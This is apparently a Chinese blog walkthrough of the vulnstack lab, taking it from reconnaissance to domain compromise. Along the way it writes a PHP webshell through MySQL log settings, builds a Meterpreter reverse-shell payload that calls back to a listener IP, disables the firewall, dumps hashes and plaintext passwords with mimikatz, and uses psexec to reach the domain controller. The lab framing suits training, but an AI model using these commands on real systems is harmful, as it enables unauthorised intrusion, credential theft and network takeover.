vulnstack(一)渗透实战


vulnstack靶场(一)


信息收集


拿到url后先找ip的地址,用nmap扫描

发现80端口开着,访问:

用dirseach扫描

这里没有扫描出beifen.rar文件,字典垃圾,扫出了phpmyadmin页面:

弱密码root/root登入
这时相当于我们获取了对数据库的操作权限

MySQL获取shell的方式:

日志getshell

0x01 全局日志:


show variables like '%general%'

我们可以知道它日志文件的位置,从而更改日志文件,
先将变量general_log变为ON:set global general_log=ON
然后更改日志:set global general_log_file="C:/phpStudy/www/1.php"
再次查看:
show variables like '%general%'

成功,日志会记录查询语句:select '<?php eval($_POST[123]);?>'
试试蚁剑连接:

0x02 慢日志


慢日志getshell和全局日志差不多,一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。

查看服务器默认时间值的方式如下:

show global variables like '%long_query_time%'

show global variables like '%slow%'

同样设置一下参数,和相应的文件路径就可以控制日志文件

set global slow_query_log=1;
set global slow_query_log_file='dir\filename'

当然要改一些写法写入一句话木马:

select '<?php eval($_POST[123]);?>' or sleep(11)

cms网页getshell


将之前扫到的beifei.rar下载,打开发现robots.txt文件,发现了这个网站是yxcms

0x01 xss漏洞:


0x02 文件上传漏洞:


在前台模板里新建一个hack.php文件

根据其相同的文件路径下的文件去备份文件中搜索,可以得到具体路径

结果不展示了。

权限提升

0x01 msf反弹shell


msfconsole # 进入msf交互页面

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.201.149 LPORT=4444 -f exe -o 123.exe  # 生成payload
 

它会将交互payload生成至当前文件夹下,利用蚁剑上传至靶机并且执行:

msfconsole
 
use exploit/multi/handler
 
set payload windows/meterpreter/reverse_tcp
 
set LHOST 192.168.201.149
 
set LPORT  4444
 
exploit

拿到shell:

拿到shell的第一步肯定是提权:

这里是直接拿到了,在实战中是要根据其他的一些手段进行提权

0x02 Cobalt Strike的使用


打开服务:

./conbaltstrike

cs攻击教程大全

举个例子:

生成监听器:

生成hta文档病毒:

蚁剑上传病毒,并访问,上线:

0x03 msf联动cs


在msf已经获得会话的前提下输入以下命令:

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true   #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.201.149     #公网vps ip
set lport 888                 #监听端口 
set session 1                 #派发session id
run

当然你得在cs中先设置一个新的监听器

要设置session id时先看看已经存在的id哪些是有效的,我本来设置session 2没有成功

这里看session2 好像是没有信息的,应该是不行的,所以改成session 1即可成功弹到cs中。

内网渗透

内网信息收集


sleep 3
shell ipconfig

发现有两个网段分别是

192.168.52.0/24
192.168.201.0/24

说明还有其他的主机存在

对靶机进行一些信息收集:

whoami
hostname
net users    #查看用户列表
localgroup administrators    #获取本地管理员信息
systeminfo   #查看相同详尽信息

先贴出常用的内网信息命令收集:

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

首先我们先判断域名是什么,下面两个命令比较常用

shell ipconfig /all
shell net config workstation

成功知道当前域名为god.org,看看目标还有多少个域:

shell net view /domain

可以看到只有这一个域。

查看GOD域中的主机名:

shell net view /domain:GOD

好像没有包括自己。。。。

查看域中其他成员的具体信息:

net view

cs也可以帮我们列出查到的用户

主机 ip 是否为域控
OWA 192.168.52.138
ROOT-TVI862UBEH 192.168.52.141
STU1 192.168.52.143

横向移动


查看防火墙状态:

shell netsh firewall show state

关闭防火墙:

shell netsh advfirewall set allprofiles state off

获取用户凭证()


查看靶机的用户

hashdump #获取hex密码

logonpasswords #是 mimikatz 工具中的一个命令,用于获取Windows系统中已登录用户的明文密码。能够直接读取Windows XP至2012等操作系统的明文密码

cs也会帮我们记录凭证:

再次创建一个smb的监听器

进攻域控


域控制器相当于一个管理中心,可以提供统一的身份认证、访问控制和安全管理。

选择psexec,后选择带域控的,就是.org结尾的

成功上线:

同样的方法,会话选择刚刚上线的owg

虽然最后一个没有成功上线,但应该是环境问题,因为如果我自己用密码可能都无法登入2003那台靶机,一旦挂机,过一会就登不上去也不让改密码。至此应该算是这个域的靶机全部沦陷。


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录